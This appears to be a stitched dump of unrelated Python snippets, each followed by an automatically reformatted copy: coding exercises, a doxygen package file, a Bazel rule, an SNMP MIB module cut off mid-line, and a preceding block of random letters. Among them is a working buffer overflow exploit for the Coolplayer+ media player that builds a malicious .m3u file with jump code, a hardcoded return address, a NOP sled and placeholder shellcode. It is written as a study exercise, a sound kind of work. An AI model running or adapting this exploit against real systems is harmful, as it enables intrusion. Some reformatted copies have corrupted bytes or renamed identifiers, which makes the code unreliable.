'UJSUOROQMIMCCCGFHQJVJXBCPWAOIMVOIIPFZGIZOBZWJHQLIABTGHXJMYVWYCFUIOWMVLJPJOHDVZRHUESVNQTHGXFKMGNBPRALVWQEYTFBKKKFUONDFRALDRZHKPGTWZAXOUFQJKOGTMYSFEDBEQQXIGKZMXNKDCENLSVHNGWVCIDMNSIZTBWBBVUMLPHRUCIZLZBFEGNFXZNJEZBUTNHNCYWWYSJSJDNOPPGHUPZLPJWDKEATZOUGKZEGFTFBGZDNRITDFBDJLYDGETUHBDGFEELBJBDMSRBVFPXMRJXWULONCZRZZBNFOPARFNXPQONKEIKGQDPJWCMGYSEIBAOLJNWPJVUSMJGCSQBLGZCWXJOYJHIZMNFMTLUQFGEBOONOZMGBWORFEUGYIUJAKLVAJZFTNOPOZNMUJPWRMGPKNQSBMZQRJXLRQJPYYUXLFUPICAFTXDTQIUOQRCSLWPHHUZAOPVTBRCXWUIXMFGYTRBKPWJJXNQPLIAZAOKIMDWCDZABPLNOXYOZZBTHSDIPXXBKXKOSYYCITFSMNVIOCNGEMRKRBPCLBOCXBZQVVWKNJBPWQNJOJWAGAIBOBFRVDWLXVBLMBSXYLOAWMPLKJOVHABNNIFTKTKBIIBOSHYQZRUFPPPRDQPMUVWMSWBLRUHKEMUFHIMZRUNNITKWYIWRXYPGFPXMNOABRWXGQFCWOYMMBYRQQLOIBFENIZBUIWLMDTIXCPXWNNHBSRPSMCQIMYRCFCPLQQGVOHYZOUGFEXDTOETUKQAXOCNGYBYPYWDQHYOKPCCORGRNHXZAAYYZGSWWGSCMJVCTAJUOMIMYRSVQGGPHCENXHLNFJJOEKIQWNYKBGKBMBJSFKKKYEPVXMOTAGFECZWQGVAEXHIAKTWYOWFYMDMNNHWZGBHDEXYGRYQVXQXZJYAWLJLWUGQGPHAYJWJQWRQZBNAMNGEPVPPUMOFTOZNYLEXLWWUTABROLHPFFSWTZGYPAZJXRRPATWXKRDFQJRAEOBFNIWVZDKLNYXUFBOAWSDSKFYYRTADBBYHEWNZSTDXAAOQCDWARSJZONQXRACMNBXZSEWZYBWADNDVRXBNJPJZQUNDYLBASCLCPFJWAMJUQAHBUZYDTIQPBPNJVVOHISZPVGBDNXFIHYCABTSVNVILZUPPZXMPPZVBRTRHDGHTXXLBIYTMRDOUBYBVHVVKQAXAKISFJNUTRZKOCACJAXZXRRKMFOKYBHFUDBIXFAQSNUTYFNVQNGYWPJZGTLQUMOWXKKTUZGOUXAOVLQMMNKKECQCCOBNPPPXZYWZUWHLHZQDIETDDPXWTILXGAYJKPHBXPLRFDPDSHFUPOIWRQDWQQNARPHPVKJPXZGGXOUVBYZSLUPVIJKWKNFWMFKWYSYJJCCSCALMVPYIPHDKRXOWTUAYJFTAANCTVYDNSSIHGCWGKLDHFFBFSIFBMGHHFHZQSWOWZXOUWPKNICGXPFMFIESHPDDMGSSWGBIAQVBANHLGDBYENRLSUARJXLQWPMOUSUKIIVXICBJPSWOEZPEUAJSLITVXEQWSRENUJRJHPLBPFMBRPKGQNSYFWVLFLSQGGETKDUGYOLNFSMRVAZLQOAEKCUGNFEXRUDYSKBOQPYJAHQHEIMSAAMTTYVJTHZDGQEITLERRYYQCTEQPTYQPHLMBDPCZZNNJYLGAGNXONCTIBSXEHXPYWBCTEEZLIYIFMPYONXRVLSGZOEDZIMVDDPRXBKCKEPHOVLRBSPKMLZPXNRZVSSSYAOMGSVJODUZAJDYLGUZAFJMCOVGQXZUWQJENTEWQRFZYQTVEAHFQUWBUCFWHGRTMNQQFSPKKYYUBJVXKFQCCMBNGWNTRFGFKBFWTTPNDTGGWTAKEOTXUPGFXOVWTOERFQSEZWVUYMGHVBQZIKIBJCNMKTZANNNOVMYTFLQYVNKTVZHFUJTPWNQWRYKGMYRYDCWNTCUCYJCWXMMOJXUJSDWJKTTYOBFJFLBUCECGTVWKELCBDIKDUDOBLZLHYJQTVHXSUAFHDFDMETLHHEEJXJYWEOTXAUOZARSSQTBBXULKBBSTQHMJAAOUDIQCCETFWAINYIJCGXCILMDCAUYDMNZBDKIPVRCKCYKOIGJHBLUHPOLDBWREFAZVEFFSOQQHMCXQYCQGMBHYKHJDBZXRAXLVZNYQXZEQYRSZHKKGCSOOEGNPFZDNGIMJQCXAEWWDYIGTQMJKBTMGSJAJCKIODCAEXVEGYCUBEEGCMARPJIKNAROJHYHKKTKGKKRVVSVYADCJXGSXARKGOUSUSZGJGFIKJDKJUIRQVSAHSTBCVOWZJDCCBWNNCBIYTCNOUPEYACCEWZNGETBTDJWQIEWRYIQXOZKPULDPCINLDFFPNORJHOZBSSYPPYNZTLXBRFZGBECKTTNVIHYNKGBXTTIXIKRBGVAPNWBPFNCGWQMZHBAHBXMFEPSWVBUDLYDIVLZFHXTQJWUNWQHSWSCYFXQQSVORFQGUQIHUAJYFLBNBKJPOEIPYATRMNMGUTTVBOUHEZKXVAUEXCJYSCZEMGWTPXMQJEUWYHTFJQTBOQBEPQIPDYLBPIKKGPVYPOVLPPHYNGNWFTNQCDAATJVKRHCOZGEBPFZZDPPZOWQCDFQZJAMXLVREYJQQFTQJKHMLRFJCVPVCTSVFVAGDVNXIGINSGHKGTWCKXNRZCZFVXFPKZHPOMJTQOIVDIYKEVIIBAUHEDGOUNPCPMVLTZQLICXKKIYRJASBNDUZAONDDLQNVRXGWNQAOWSJSFWUYWTTLOVXIJYERRZQCJMRZHCXEEAKYCLEICUWOJUXWHAPHQJDTBVRPVWTMCJRAUYCOTFXLLIQLOBASBMPEDKLDZDWDYAPXCKLZMEFIAOFYGFLBMURWVBFJDDEFXNIQOORYRMNROGVCOESSHSNIBNFRHPSWVAUQQVDMAHXSTDOVZMZEFRRFCKOLDOOFVOBCPRRLGYFJNXVPPUZONOSALUUI'
# You will be given series of strings until you receive an "end" command. Write a program that reverses strings and prints each pair on separate line in the format "{word} = {reversed word}". while True: word = input() if word == 'end': break reversed_word = word[::-1] print(f"{word} = {reversed_word}")
while True: word = input() if word == 'end': break reversed_word = word[::-1] print(f'{word} = {reversed_word}')
name = "doxygen" version = "1.8.18" authors = [ "Dimitri van Heesch" ] description = \ """ Doxygen is the de facto standard tool for generating documentation from annotated C++ sources, but it also supports other popular programming languages such as C, Objective-C, C#, PHP, Java, Python, IDL (Corba, Microsoft, and UNO/OpenOffice flavors), Fortran, VHDL, and to some extent D. """ requires = [ "bison-3+", "cmake-3+", "flex-2+", "gcc-6+", "python-2.7+<3" ] variants = [ ["platform-linux"] ] tools = [ ] build_system = "cmake" with scope("config") as config: config.build_thread_count = "logical_cores" uuid = "doxygen-{version}".format(version=str(version)) def commands(): env.PATH.prepend("{root}/bin") # Helper environment variables. env.DOXYGEN_BINARY_PATH.set("{root}/bin")
name = 'doxygen' version = '1.8.18' authors = ['Dimitri van Heesch'] description = '\n Doxygen is the de facto standard tool for generating documentation from annotated C++ sources, but it also supports\n other popular programming languages such as C, Objective-C, C#, PHP, Java, Python, IDL (Corba, Microsoft, and\n UNO/OpenOffice flavors), Fortran, VHDL, and to some extent D.\n ' requires = ['bison-3+', 'cmake-3+', 'flex-2+', 'gcc-6+', 'python-2.7+<3'] variants = [['platform-linux']] tools = [] build_system = 'cmake' with scope('config') as config: config.build_thread_count = 'logical_cores' uuid = 'doxygen-{version}'.format(version=str(version)) def commands(): env.PATH.prepend('{root}/bin') env.DOXYGEN_BINARY_PATH.set('{root}/bin')
class Node(): def __init__(self, data=None, left=None, right=None): self.data = data self.left = left self.right = right def tree_in(node_list): list_in = input().split() l = len(list_in) node_list.append(Node(list_in[0])) for i in range(1, l): if list_in[i] == "None": node_list.append(None) else: new_node = Node(list_in[i]) node_list.append(new_node) if(i % 2 == 1): k = (i-1)//2 while(node_list[k] == None): k += 1 node_list[k].left = new_node else: k = (i-2)//2 while (node_list[k] == None): k += 1 node_list[k].right = new_node node_list = [] tree_in(node_list) ans = 0 for i in node_list: if(i == None): pass elif(i.left == None): pass else: ans += int(i.left.data) print(ans)
class Node: def __init__(self, data=None, left=None, right=None): self.data = data self.left = left self.right = right def tree_in(node_list): list_in = input().split() l = len(list_in) node_list.append(node(list_in[0])) for i in range(1, l): if list_in[i] == 'None': node_list.append(None) else: new_node = node(list_in[i]) node_list.append(new_node) if i % 2 == 1: k = (i - 1) // 2 while node_list[k] == None: k += 1 node_list[k].left = new_node else: k = (i - 2) // 2 while node_list[k] == None: k += 1 node_list[k].right = new_node node_list = [] tree_in(node_list) ans = 0 for i in node_list: if i == None: pass elif i.left == None: pass else: ans += int(i.left.data) print(ans)
for t in range(int(input())): n,k,v=map(int,input().split()) a=list(map(int,input().split())) s=0 for i in range(n): s+=a[i] x=(((n+k)*v)-s)/k x=float(x) if x>0: if((x).is_integer()): print(int(x)) else: print(-1) else: print(-1)
for t in range(int(input())): (n, k, v) = map(int, input().split()) a = list(map(int, input().split())) s = 0 for i in range(n): s += a[i] x = ((n + k) * v - s) / k x = float(x) if x > 0: if x.is_integer(): print(int(x)) else: print(-1) else: print(-1)
# Definition for a binary tree node. class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None class Solution: def diameterOfBinaryTree(self, root): self.ans = 1 def dfs(node): if not node: return 0 l = dfs(node.left) r = dfs(node.right) self.ans = max(self.ans, l + r + 1) return max(l, r) + 1 dfs(root) return self.ans - 1
class Treenode: def __init__(self, x): self.val = x self.left = None self.right = None class Solution: def diameter_of_binary_tree(self, root): self.ans = 1 def dfs(node): if not node: return 0 l = dfs(node.left) r = dfs(node.right) self.ans = max(self.ans, l + r + 1) return max(l, r) + 1 dfs(root) return self.ans - 1
#!/usr/bin/python # Author: Michael Music # Date: 8/1/2019 # Description: Coolplayer+ Buffer Overflow Exploit # Exercise in BOFs following the securitysift guide # Tested on Windows XP # Notes: # I will be assuming that EBX is the only register pointing to input buffer. # Since EBX points to the very beginning of the buffer, and EIP is at offset 260 # I will need to put a JMP EBX address in EIP, then have JMP code in the beginning # of the buffer to JMP over the remaining junk until EIP, over EIP, over some nops # then into shellcode. # The custom JMP code will add bytes to the address in the EBX register, then jump to it. # This would end up be something like add [EBX] 280, JMP EBX # App must be installed, launched at C:/ # m3u file must be located at C:/ # EIP at offset 260 # ESP at offset 264 # EDX at offset 0 # EBX at offset 0 # There is only around 250 bytes worth of spaces at ESP, so it's limited # Can't fit shellcode in beginning of buffer (where EBX/EDX point), as EIP is at 260 # EBX points to much more space, around 10000 bytes # Solution is to JMP EBX, launch custom JMP code to jump over EIP,ESP and into shellcode # Exploit: [Custom JMP code - jump to nops][Junk][EIP - JMP EBX][nops][shellcode][Junk] # Found a JMP EBX at 0x7c873c53 in kernel32.dll exploit_string = '' # Start of buffer, contains JMP code to jump 300 bytes # Add 100 to EBX 3 times, do this to avoid using nulls if adding 300 exploit_string += '\x83\xc3\x64' * 3 # JMP EBX exploit_string += '\xff\xe3' exploit_string += '\x41' * (260-len(exploit_string)) # EIP, which should be an address for JMP EBX #exploit_string += '\x42' * 4 exploit_string += '\x53\x3c\x87\x7c' # NOP sled where the custom JMP code will land exploit_string += '\x90' * 60 # Shellcode exploit_string += '\xcc' * 500 # Filler to cause the overflow exploit_string += '\x43' * (10000 - len(exploit_string)) out = 'crash.m3u' text = open(out, 'w') text.write(exploit_string) text.close
exploit_string = '' exploit_string += '\x83Ãd' * 3 exploit_string += 'ÿã' exploit_string += 'A' * (260 - len(exploit_string)) exploit_string += 'S<\x87|' exploit_string += '\x90' * 60 exploit_string += 'Ì' * 500 exploit_string += 'C' * (10000 - len(exploit_string)) out = 'crash.m3u' text = open(out, 'w') text.write(exploit_string) text.close
"""Generate model benchmark source file using template. """ _TEMPLATE = "//src/cpp:models_benchmark.cc.template" def _generate_models_benchmark_src_impl(ctx): ctx.actions.expand_template( template = ctx.file._template, output = ctx.outputs.source_file, substitutions = { "{BENCHMARK_NAME}": ctx.attr.benchmark_name, "{TFLITE_CPU_FILEPATH}": ctx.attr.tflite_cpu_filepath, "{TFLITE_EDGETPU_FILEPATH}": ctx.attr.tflite_edgetpu_filepath, }, ) generate_models_benchmark_src = rule( implementation = _generate_models_benchmark_src_impl, attrs = { "benchmark_name": attr.string(mandatory = True), "tflite_cpu_filepath": attr.string(mandatory = True), "tflite_edgetpu_filepath": attr.string(mandatory = True), "_template": attr.label( default = Label(_TEMPLATE), allow_single_file = True, ), }, outputs = {"source_file": "%{name}.cc"}, )
"""Generate model benchmark source file using template. """ _template = '//src/cpp:models_benchmark.cc.template' def _generate_models_benchmark_src_impl(ctx): ctx.actions.expand_template(template=ctx.file._template, output=ctx.outputs.source_file, substitutions={'{BENCHMARK_NAME}': ctx.attr.benchmark_name, '{TFLITE_CPU_FILEPATH}': ctx.attr.tflite_cpu_filepath, '{TFLITE_EDGETPU_FILEPATH}': ctx.attr.tflite_edgetpu_filepath}) generate_models_benchmark_src = rule(implementation=_generate_models_benchmark_src_impl, attrs={'benchmark_name': attr.string(mandatory=True), 'tflite_cpu_filepath': attr.string(mandatory=True), 'tflite_edgetpu_filepath': attr.string(mandatory=True), '_template': attr.label(default=label(_TEMPLATE), allow_single_file=True)}, outputs={'source_file': '%{name}.cc'})
def is_true(value): """ Helper function for getting a bool form a query string. """ if hasattr(value, "lower"): return value.lower() not in ("false", "0") return bool(value)
def is_true(value): """ Helper function for getting a bool form a query string. """ if hasattr(value, 'lower'): return value.lower() not in ('false', '0') return bool(value)
# # PySNMP MIB module EICON-MIB-TRACE (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/EICON-MIB-TRACE # Produced by pysmi-0.3.4 at Mon Apr 29 18:45:10 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsIntersection, SingleValueConstraint, ConstraintsUnion, ValueSizeConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "SingleValueConstraint", "ConstraintsUnion", "ValueSizeConstraint", "ValueRangeConstraint") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") MibScalar, MibTable, MibTableRow, MibTableColumn, NotificationType, ObjectIdentity, iso, Integer32, Gauge32, Unsigned32, enterprises, Bits, TimeTicks, Counter64, MibIdentifier, Counter32, ModuleIdentity, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "NotificationType", "ObjectIdentity", "iso", "Integer32", "Gauge32", "Unsigned32", "enterprises", "Bits", "TimeTicks", "Counter64", "MibIdentifier", "Counter32", "ModuleIdentity", "IpAddress") DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention") eicon = MibIdentifier((1, 3, 6, 1, 4, 1, 434)) management = MibIdentifier((1, 3, 6, 1, 4, 1, 434, 2)) mibv2 = MibIdentifier((1, 3, 6, 1, 4, 1, 434, 2, 2)) module = MibIdentifier((1, 3, 6, 1, 4, 1, 434, 2, 2, 4)) class ActionState(Integer32): subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3)) namedValues = NamedValues(("done", 1), ("failed", 2), ("in-progress", 3)) class ControlOnOff(Integer32): subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3)) namedValues = NamedValues(("stop", 1), ("start", 2), ("invalid", 3)) class CardRef(Integer32): subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 6) class PortRef(Integer32): subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 48) class PositiveInteger(Integer32): subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647) trace = MibIdentifier((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15)) traceFreeEntryIndex = MibScalar((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 1), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: traceFreeEntryIndex.setStatus('mandatory') traceControlTable = MibTable((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2), ) if mibBuilder.loadTexts: traceControlTable.setStatus('mandatory') traceControlEntry = MibTableRow((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1), ).setIndexNames((0, "EICON-MIB-TRACE", "traceCntrlIndex")) if mibBuilder.loadTexts: traceControlEntry.setStatus('mandatory') traceCntrlIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 1), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: traceCntrlIndex.setStatus('mandatory') traceCntrlEntryStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("invalid", 1), ("create", 2), ("valid", 3)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlEntryStatus.setStatus('mandatory') traceCntrlEntryOwner = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 3), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 16))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlEntryOwner.setStatus('mandatory') traceCntrlProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10))).clone(namedValues=NamedValues(("x25", 1), ("sdlc", 2), ("frelay", 3), ("hdlc", 4), ("xportiso", 5), ("xporttgx", 6), ("llc", 7), ("sna", 8), ("ppp", 9), ("snafr", 10)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlProtocol.setStatus('mandatory') traceCntrlEntryReclaimTime = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 5), TimeTicks()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlEntryReclaimTime.setStatus('mandatory') traceCntrlOnOff = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("start", 1), ("read", 2), ("stop", 3), ("invalid", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlOnOff.setStatus('mandatory') traceCntrlActionState = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 7), ActionState()).setMaxAccess("readonly") if mibBuilder.loadTexts: traceCntrlActionState.setStatus('mandatory') traceCntrlActionError = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("no-error", 1), ("bad-param", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: traceCntrlActionError.setStatus('mandatory') traceCntrlFileName = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 9), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 128))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlFileName.setStatus('mandatory') traceCntrlCardRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 10), CardRef()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlCardRef.setStatus('mandatory') traceCntrlPortRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 11), PortRef()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlPortRef.setStatus('mandatory') traceCntrlConnectionRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 12), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlConnectionRef.setStatus('mandatory') traceCntrlPURef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 13), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlPURef.setStatus('mandatory') traceCntrlModeRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 14), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlModeRef.setStatus('mandatory') traceCntrlLURef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 15), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlLURef.setStatus('mandatory') traceCntrlStationRef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 16), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlStationRef.setStatus('mandatory') traceCntrlLLURef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 17), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlLLURef.setStatus('mandatory') traceCntrlRLURef = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 18), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlRLURef.setStatus('mandatory') traceCntrlOption = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 19), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("append", 1), ("clear", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlOption.setStatus('mandatory') traceCntrlPeriod = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 20), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlPeriod.setStatus('mandatory') traceCntrlMask = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 21), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlMask.setStatus('mandatory') traceCntrlBufSize = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 22), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlBufSize.setStatus('mandatory') traceCntrlEntrySize = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 23), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlEntrySize.setStatus('mandatory') traceCntrlBufFullAction = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 24), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("wrap", 1), ("stop", 2), ("stopAndAlarm", 3)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlBufFullAction.setStatus('mandatory') traceCntrlReadFromEntryIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 25), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlReadFromEntryIndex.setStatus('mandatory') traceCntrlFileType = MibTableColumn((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 26), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ascii", 1), ("ebcdic", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: traceCntrlFileType.setStatus('mandatory') mibBuilder.exportSymbols("EICON-MIB-TRACE", mibv2=mibv2, traceCntrlOption=traceCntrlOption, traceCntrlLURef=traceCntrlLURef, traceCntrlProtocol=traceCntrlProtocol, traceCntrlEntryReclaimTime=traceCntrlEntryReclaimTime, traceCntrlBufFullAction=traceCntrlBufFullAction, traceCntrlModeRef=traceCntrlModeRef, PositiveInteger=PositiveInteger, ActionState=ActionState, trace=trace, traceCntrlActionError=traceCntrlActionError, traceCntrlBufSize=traceCntrlBufSize, traceCntrlEntrySize=traceCntrlEntrySize, traceControlTable=traceControlTable, traceCntrlMask=traceCntrlMask, management=management, traceCntrlFileType=traceCntrlFileType, traceCntrlEntryStatus=traceCntrlEntryStatus, traceCntrlReadFromEntryIndex=traceCntrlReadFromEntryIndex, PortRef=PortRef, traceCntrlPURef=traceCntrlPURef, traceCntrlPortRef=traceCntrlPortRef, traceControlEntry=traceControlEntry, ControlOnOff=ControlOnOff, traceCntrlStationRef=traceCntrlStationRef, traceFreeEntryIndex=traceFreeEntryIndex, traceCntrlFileName=traceCntrlFileName, traceCntrlEntryOwner=traceCntrlEntryOwner, traceCntrlConnectionRef=traceCntrlConnectionRef, traceCntrlLLURef=traceCntrlLLURef, traceCntrlActionState=traceCntrlActionState, traceCntrlIndex=traceCntrlIndex, traceCntrlOnOff=traceCntrlOnOff, eicon=eicon, traceCntrlRLURef=traceCntrlRLURef, traceCntrlPeriod=traceCntrlPeriod, module=module, traceCntrlCardRef=traceCntrlCardRef, CardRef=CardRef)
(integer, octet_string, object_identifier) = mibBuilder.importSymbols('ASN1', 'Integer', 'OctetString', 'ObjectIdentifier') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (constraints_intersection, single_value_constraint, constraints_union, value_size_constraint, value_range_constraint) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ConstraintsIntersection', 'SingleValueConstraint', 'ConstraintsUnion', 'ValueSizeConstraint', 'ValueRangeConstraint') (module_compliance, notification_group) = mibBuilder.importSymbols('SNMPv2-CONF', 'ModuleCompliance', 'NotificationGroup') (mib_scalar, mib_table, mib_table_row, mib_table_column, notification_type, object_identity, iso, integer32, gauge32, unsigned32, enterprises, bits, time_ticks, counter64, mib_identifier, counter32, module_identity, ip_address) = mibBuilder.importSymbols('SNMPv2-SMI', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'NotificationType', 'ObjectIdentity', 'iso', 'Integer32', 'Gauge32', 'Unsigned32', 'enterprises', 'Bits', 'TimeTicks', 'Counter64', 'MibIdentifier', 'Counter32', 'ModuleIdentity', 'IpAddress') (display_string, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention') eicon = mib_identifier((1, 3, 6, 1, 4, 1, 434)) management = mib_identifier((1, 3, 6, 1, 4, 1, 434, 2)) mibv2 = mib_identifier((1, 3, 6, 1, 4, 1, 434, 2, 2)) module = mib_identifier((1, 3, 6, 1, 4, 1, 434, 2, 2, 4)) class Actionstate(Integer32): subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3)) named_values = named_values(('done', 1), ('failed', 2), ('in-progress', 3)) class Controlonoff(Integer32): subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3)) named_values = named_values(('stop', 1), ('start', 2), ('invalid', 3)) class Cardref(Integer32): subtype_spec = Integer32.subtypeSpec + value_range_constraint(1, 6) class Portref(Integer32): subtype_spec = Integer32.subtypeSpec + value_range_constraint(1, 48) class Positiveinteger(Integer32): subtype_spec = Integer32.subtypeSpec + value_range_constraint(0, 2147483647) trace = mib_identifier((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15)) trace_free_entry_index = mib_scalar((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 1), positive_integer()).setMaxAccess('readonly') if mibBuilder.loadTexts: traceFreeEntryIndex.setStatus('mandatory') trace_control_table = mib_table((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2)) if mibBuilder.loadTexts: traceControlTable.setStatus('mandatory') trace_control_entry = mib_table_row((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1)).setIndexNames((0, 'EICON-MIB-TRACE', 'traceCntrlIndex')) if mibBuilder.loadTexts: traceControlEntry.setStatus('mandatory') trace_cntrl_index = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 1), positive_integer()).setMaxAccess('readonly') if mibBuilder.loadTexts: traceCntrlIndex.setStatus('mandatory') trace_cntrl_entry_status = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('invalid', 1), ('create', 2), ('valid', 3)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlEntryStatus.setStatus('mandatory') trace_cntrl_entry_owner = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 3), display_string().subtype(subtypeSpec=value_size_constraint(0, 16))).setMaxAccess('readwrite') if mibBuilder.loadTexts: traceCntrlEntryOwner.setStatus('mandatory') trace_cntrl_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 434, 2, 2, 4, 15, 2, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10))).clone(namedValues=named_values(('x25', 1), ('sdlc', 2), ('frelay', 3), ('hdlc', 4), ('xportiso', 5), ('xporttgx', 6), ('llc', 7), ('sna', 8), 